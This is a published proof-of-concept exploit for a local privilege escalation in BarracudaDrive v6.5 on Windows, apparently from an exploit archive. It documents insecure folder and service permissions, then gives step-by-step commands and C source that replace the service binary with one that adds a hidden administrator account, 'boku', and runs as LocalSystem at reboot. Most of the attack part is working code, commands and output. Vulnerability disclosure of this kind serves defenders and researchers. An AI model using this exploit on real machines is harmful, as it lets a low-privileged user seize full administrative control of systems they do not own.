BarracudaDrive 6.5 Local Privilege Escalation

`# Exploit Title: BarracudaDrive v6.5 - User->System - Local Privilege Escalation  
# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)   
# Date: 08-08-2020  
# Vendor Homepage: https://barracudaserver.com/  
# Software Link: https://download.cnet.com/BarracudaDrive/3001-18506_4-10723210.html  
# Version: v6.5  
# Tested On: Windows 10 Pro   
# CVSS Base Score: 8.8 | Impact Subscore: 6.0 | Exploitability Subscore: 2.0  
# CVSS Vector: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H  
# CWE-276: Incorrect Default Permissions  
# CWE-732: Incorrect Permission Assignment for Critical Resource  
# Vulnerability Description:  
# Insecure Service File Permissions in bd service in Real Time Logics BarracudaDrive v6.5   
# allows local attackers to escalate privileges to admin via replacing the bd.exe file and   
# restarting the computer where the malicious code will be executed as 'LocalSystem' on   
# the next startup automatically.  
  
## Insecure Folder Permission  
C:\>cacls C:\bd  
C:\bd BUILTIN\Administrators:(OI)(CI)(ID)F  
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F  
BUILTIN\Users:(OI)(CI)(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C  
  
## Insecure File/Service Permission  
C:\>cacls C:\bd\bd.exe  
C:\bd\bd.exe BUILTIN\Administrators:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Users:(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
  
C:\>sc qc bd  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: bd  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\bd\bd.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : BarracudaDrive ( bd ) service  
DEPENDENCIES : Tcpip  
SERVICE_START_NAME : LocalSystem  
  
## Local Privilege Escalation Proof of Concept  
#0. Download & install   
  
#1. Create low privileged user & change to the user  
## As admin  
C:\>net user lowpriv Password123! /add  
C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full"  
User name lowpriv  
Local Group Memberships *Users  
Global Group memberships *None  
  
#2. Move the Service EXE to a new name  
C:\bd>whoami  
desktop\lowpriv  
C:\bd>move bd.exe bd.service.exe  
1 file(s) moved.  
  
#3. Create malicious binary on kali linux  
## Add Admin User C Code  
kali# cat addAdmin.c  
int main(void){  
system("net user boku mypassword /add");  
system("net localgroup Administrators boku /add");  
WinExec("C:\\bd\\bd.service.exe",0);  
return 0;  
}   
  
## Compile Code  
kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe  
  
#4. Transfer created 'bd.exe' to the Windows Host   
  
#5. Move the created 'bd.exe' binary to the 'C:\bd\' Folder  
C:\bd>move C:\Users\lowpriv\Downloads\bd.exe .  
  
#6. Check that exploit admin user doesn't exit  
C:\bd>net user boku  
The user name could not be found  
  
#6. Reboot the Computer  
C:\bd>shutdown /r  
  
#7. Login & look at that new Admin  
C:\Users\lowpriv>net user boku | findstr /i "Membership Name" | findstr /v "Full"  
User name boku  
Local Group Memberships *Administrators *Users  
Global Group memberships *None  
`